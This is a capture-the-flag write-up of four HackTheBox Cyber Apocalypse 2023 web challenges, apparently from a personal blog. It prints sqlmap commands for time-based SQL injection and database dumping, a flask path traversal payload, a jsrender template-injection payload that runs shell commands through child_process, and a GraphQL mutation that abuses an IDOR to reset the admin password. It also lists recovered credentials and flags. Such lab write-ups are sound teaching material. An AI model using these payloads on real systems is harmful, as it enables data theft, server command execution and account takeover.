Contents

CTF: HTB Cyber Apocalypse 2023 Part 1

Orbital

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230323204400.png

Visit the IP address and we see a login panel.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230323204449.png
login panel

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230323213518.png

Manual sqli didn’t worked,so i saved the post request into a file.

request.txt:

POST http://64.227.41.83:30772/api/login HTTP/1.1
Host: 64.227.41.83:30772
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://64.227.41.83:30772/
Content-Type: application/json
Origin: http://64.227.41.83:30772
Content-Length: 37
Connection: close

{"username":"admin","password":"admin"}

And using sqlmap, I Found timebased SQLi in username parameter.

Command:

ryuk@kali:~# sqlmap -r request.txt --random-agent

found two tables users and communication in Database named orbital

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324131030.png

sqlmap already cracked the hash for us, now using found credential admin:ichliebedich let’s login to the site.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230323204836.png
Recent communication

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230323205037.png

From the docker file i noticed the filename which is containing our flag.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230323205151.png

Flag location: /signal_sleuth_firmware

As in routes.py from the source code, you can see that file is being sent directly and there is also a hint given in the comment.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230323205405.png

After doing some google search, I found flask Path Traversal vulnerebility and it’s payload from this article here.

Let’s create our payload according to the article.

Path Traversal Payload:

/../../../../../../../../../signal_sleuth_firmware

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321191054.png
Payload Request & Response headers

Flag: HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}

Drobots

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324121650.png

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324114836.png
login panel

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324114955.png

POST http://159.65.81.51:32743/api/login HTTP/1.1
Host: 159.65.81.51:32743
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://159.65.81.51:32743/
Content-Type: application/json
Origin: http://159.65.81.51:32743
Content-Length: 39
Connection: close

{"username":"admin","password":"admin"}

Command:

ryuk@kali:~# sqlmap -r request-new.txt --dbs --random-agent

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324120629.png

To retrieve the tables use

Command:

ryuk@kali:~# sqlmap -r request-new.txt -D drobots --random-agent --tables

There is only one users table

Command:

ryuk@kali:~# sqlmap -r request-new.txt -D drobots --random-agent -T users --dump

At first i thought the password is hashed and perform bruteforce with sqlmap’s default wordlist but later on i found that the hashed string is the password.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324120920.png

admin:739025f319bf2fc8ecafa26f547defbc

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324121053.png
flag

Flag: HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}

Didactic Octo Paddles

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324131541.png

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324143904.png
login panel

Visit the url and go to /register endpoint and register as normal user to the website, and login with your credentials.

Now visit the /admin panel. It wil authenticate you before giving access to the panel and intercept the request.

As i got to know by looking at the AdminMiddleware.js file from source code, the

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321145426.png

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321232231.png

/admin panel is accessable using None type

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321233106.png

routes.js:

router.get("/admin", AdminMiddleware, async (req, res) => {
        try {
            const users = await db.Users.findAll();
            const usernames = users.map((user) => user.username);

            res.render("admin", {
                users: jsrender.templates(`${usernames}`).render(),
            });
        } catch (error) {
            console.error(error);
            res.status(500).send("Something went wrong!");
        }
    });

The function is really not doing anything except displaying registered users using expressjs template engine, we can abuse it’s functionality to get our flag.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321233533.png

Open a private window and register using ssti payload as username {{:7*7}}

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324143700.png

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324143721.png

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321232252.png

Payload is being executed, now it’s time to cat flag.txt

{{:"0xRyuk".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324132843.png

Now reload the /admin panel

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321232717.png

Flag is not displayed completely, right click and do inspect element.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321232818.png

Flag: HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}

Reference: template-injection-jsrender-jsviews

Passman

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324121711.png

Visit the address and there is a login panel for password manager.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324121749.png
passman login panel

While analyzing the source code, I came across a vulnerability known as an Insecure Direct Object Reference (IDOR). It seems that the application allows password resets without enforcing proper user authentication, thereby enabling anyone to reset any user’s password by using the UpdatePassword function and specifying the target user’s username as an argument.

Database.js:

    async updatePassword(username, password) {
        return new Promise(async (resolve, reject) => {
            let stmt = `UPDATE users SET password = ? WHERE username = ?`;
            this.connection.query(
                stmt,
                [
                    String(password),
                    String(username)
                ],
                (err, _) => {
                    if(err)
                        reject(err)
                    resolve();
			    }
            )
        });
    }

The applcation is using the graphql api, let’s understand how it is interacting with the backend by observing the login request.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324122549.png

This is how graphql api sending the request to the backend.

{"query":"mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }","variables":{"username":"test","password":"test"}}

This json request is containing two keys query, and variables. the query contains graphql mutation.

What is a mutation in GraphQL?
A mutation is a GraphQL Operation that allows you to insert new data or modify the existing data on the server-side.
Which is calling a function LoginUser and passing arguments to its username and password parameters, which returns a status message and an access token.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324123226.png

As the UpdatePassword function required a access token i needed to be login with the normal user account.

Replace LoginUser function with UpdatePassword with required arguments.

{"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }","variables":{"username":"admin","password":"NewPassword"}}

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324125307.png

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230324125404.png

Login with new admin credentials.

/posts/ctf/htb-ca2023-p1/images/Pasted%20image%2020230321144315.png
flag